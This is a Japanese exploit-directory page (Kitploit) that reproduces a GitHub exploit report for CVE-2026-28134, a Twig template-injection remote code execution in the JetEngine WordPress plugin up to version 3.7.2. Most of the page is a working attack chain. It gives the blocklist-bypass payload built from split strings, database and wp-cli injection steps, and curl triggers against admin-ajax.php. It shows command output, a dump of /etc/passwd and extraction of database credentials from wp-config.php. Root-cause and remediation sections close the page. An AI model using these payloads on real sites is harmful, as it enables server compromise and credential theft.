Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - 認証済み(Contributor+)リモートコード実行 | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2026-28134
脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - 認証済み(Contributor+)リモートコード実行

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-28134 エクスプロイト報告書

JetEngine <= 3.7.2 — Twig SSTI による認証済み(Contributor+)リモートコード実行

日付: 2026年3月11日 CVSSスコア: 8.8(高) CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 影響を受けるプラグイン: JetEngine <= 3.7.2 プラグインスラッグ: jet-engine CVE: CVE-2026-28134 ステータス: 非公開 テスト済みWordPressバージョン: 最新


エグゼクティブサマリー

CVE-2026-28134 は、JetEngine WordPress プラグインの全バージョン(3.7.2 まで)に影響するリモートコード実行の脆弱性です。この脆弱性により、Contributor レベル以上のアクセス権を持つ認証済み攻撃者が、JetEngine Listing 投稿に悪意のある Twig テンプレートを注入することで、サーバー上で任意の OS コマンドを実行できます。

攻撃チェーンは3つの弱点を組み合わせています:

  1. Listing 投稿テンプレートをレンダリングする、nonce や権限チェックのない未認証 AJAX ディスパッチャ
  2. サンドボックスがなく、文字列ベースのブロックリストサニタイザのみを備えた Twig/Timber レンダリングエンジン
  3. Twig の ~ 文字列連結演算子を使用してブロックされた関数名を複数のトークンに分割するサニタイザのバイパス

✅ 脆弱性確認済み — フル RCE 達成

確認された影響:

  • www-data として任意の OS コマンド実行
  • ファイルシステムの完全な読み取りアクセス(/etc/passwd、wp-config.php)
  • データベース認証情報の窃取

脆弱性の詳細

技術概要

JetEngine は Twig/Timber ベースの Listing ビュータイプを提供します。timber_views コンポーネントが有効な場合、_listing_type = twig の Listing 投稿は、その _jet_engine_listing_html 投稿メタが Timber によってライブ Twig テンプレートとしてレンダリングされます。レンダリングパイプラインは、未認証の wp_ajax_nopriv_jet_engine_ajax AJAX アクション経由で到達可能であり、攻撃者が JetEngine Listing 投稿を作成または変更できること(最低でも Contributor ロール)だけが必要です。

影響を受けるコンポーネント


攻撃チェーン

ステップ 1 — 未認証 AJAX ディスパッチャ

ajax-handlers.php は、認証済みユーザーと未認証ユーザーの両方に対して AJAX アクションを登録します:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

このハンドラは、nonce や権限チェックなしで、$_REQUEST['handler'] に基づいてクラス上の任意の public メソッドにディスパッチします:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

listing_load_more は公開アクセス可能で、Listing レンダリングパイプラインをトリガーします。

ステップ 2 — Twig レンダリングパイプライン

listing_load_more → get_listing → frontend->get_listing_item の呼び出しチェーンは次に到達します:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

$listing_view = 'twig' の場合、これにより Jet_Engine\Timber_Views\Render::get_listing_content() が呼び出され、投稿の _jet_engine_listing_html メタフィールドから Twig テンプレートを読み取り、それを直接 render_html() に渡します:

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig はサンドボックスなしでレンダリングされます。唯一の保護は sanitize_twig_content() です。

ステップ 3 — 文字列連結によるサニタイザバイパス

sanitize_twig_content() は、単語境界の正規表現パターンを使用して危険な PHP 関数名を削除し、テンプレートが変更されたかどうかをチェックします:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

パターン \bsystem\b はリテラルトークン system に一致します。"sys" ~ "tem" には一致しません。これらは2つの別々の引用文字列トークンであるためです。Twig はレンダリング時に連結を評価し、"system" をメモリ上でのみ生成します — ソーステンプレートにはブロックされた単語が含まれることはありません。

バイパスペイロード:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

サニタイザは fn、"sys"、~、"tem"、"id" を認識します — これらのいずれもブロックリストに含まれていません。そのため変更されずに通過します。

ステップ 4 — Timber の fn() ヘルパーによるコード実行

Timber は PHP のコーラブルラッパーを Twig 環境に直接登録します:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} は call_user_func_array("system", ["id"]) に解決され、任意の OS コマンド実行が可能になります。


概念実証(PoC)

前提条件

  1. 攻撃者は Contributor レベル以上の WordPress アクセス権を持っている。
  2. JetEngine の timber_views コンポーネントが有効になっている(JetEngine 設定 > パフォーマンス > Timber/Twig Views)。
  3. Timber ライブラリプラグインがインストールされ、有効化されている。

セットアップ

悪意のある Twig テンプレートを投稿メタに保存した JetEngine Listing 投稿を作成します:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

または wp-cli を使用する場合(Contributor ユーザーとして):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

トリガー(未認証)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

結果

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

権限昇格 — ファイル読み取り

ブロックされた文字列 passthru を "pas" ~ "sthru" として分割:

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

テンプレートを {{ fn("pas" ~ "sthru", "cat /etc/passwd") }} に設定:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

権限昇格 — 認証情報の窃取

テンプレート {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

根本原因分析

原因 1 — AJAX アクションの認証欠如

wp_ajax_nopriv_jet_engine_ajax は未認証リクエストに対して発火します。handle_ajax() ディスパッチャは、listing_load_more を呼び出す前に nonce 検証も権限チェックも行いません。したがって、悪意のある listing が存在すると、レンダリングパイプラインは任意の未認証ユーザーから到達可能になります。

原因 2 — Twig サンドボックスなし

Twig の公式サンドボックス拡張機能(\Twig\Sandbox\SecurityPolicy)は、エンジンレベルで許可リストを強制します — 明示的に許可されていない関数を呼び出すことはできません。JetEngine はサンドボックスなしで createTemplate() を使用します。唯一の保護はレンダリング前の文字列スキャンであり、これは簡単に回避できます。

原因 3 — 正規表現ブロックリストの不十分さ

ブロックリスト方式(/\bsystem\b/i)は静的テンプレートのソーステキストに対して動作します。Twig の ~ 連結演算子は実行時に文字列を構築します。ブロックされた名前は任意に分割できます:"pass" ~ "thru"、"she" ~ "ll_exec"、"sys" ~ "tem" など。適切なサンドボックスは、関数名がどのように構築されたかに関係なく、その呼び出しを拒否します。

原因 4 — Timber が call_user_func_array を公開

Timber の fn() および function() Twig ヘルパーは、PHP の call_user_func_array への無条件のブリッジです。呼び出し可能な関数の許可リストはありません。Web プロセスから到達可能な任意の PHP 関数を呼び出すことができます。


修復策


タイムライン

日付イベント
2026-03-11脆弱性を発見し、完全な RCE PoC で確認
2026-03-11レポートを作成

参照

  • JetEngine プラグイン — Crocoblock
  • Timber/Twig WordPress ライブラリ
  • Twig サンドボックス拡張機能
  • OWASP — サーバーサイドテンプレートインジェクション
ツールをダウンロード
ファイル問題
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax 登録済み — 認証・nonce なし
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — 任意の public メソッドのディスパッチ
includes/components/timber-views/timber.php:150render_html() が攻撃者制御の Twig テンプレートをサンドボックスなしでレンダリング
includes/components/timber-views/timber.php:189sanitize_twig_content() — 文字列正規表現ブロックリスト。トークン分割によりバイパス可能
timber-library/lib/Twig.php:42-43Timber は fn()/function() を call_user_func_array 用の Twig ラッパーとして登録
修正説明
handle_ajax() に nonce と権限チェックを追加すべての AJAX ディスパッチで edit_posts 権限と有効な nonce を要求
Twig サンドボックスを有効化文字列ブロックリストを \Twig\Sandbox\SecurityPolicy に置き換え、安全な関数とプロパティを明示的に許可リストに登録
Timber の fn() ヘルパーを制限呼び出し可能な関数名を許可リスト化するか、信頼できないテンプレート用に Twig 環境から fn()/function() を削除
listing の所有権を検証テンプレートをレンダリングする前に、リクエストユーザーが listing に対して edit_post 権限を持っていることを確認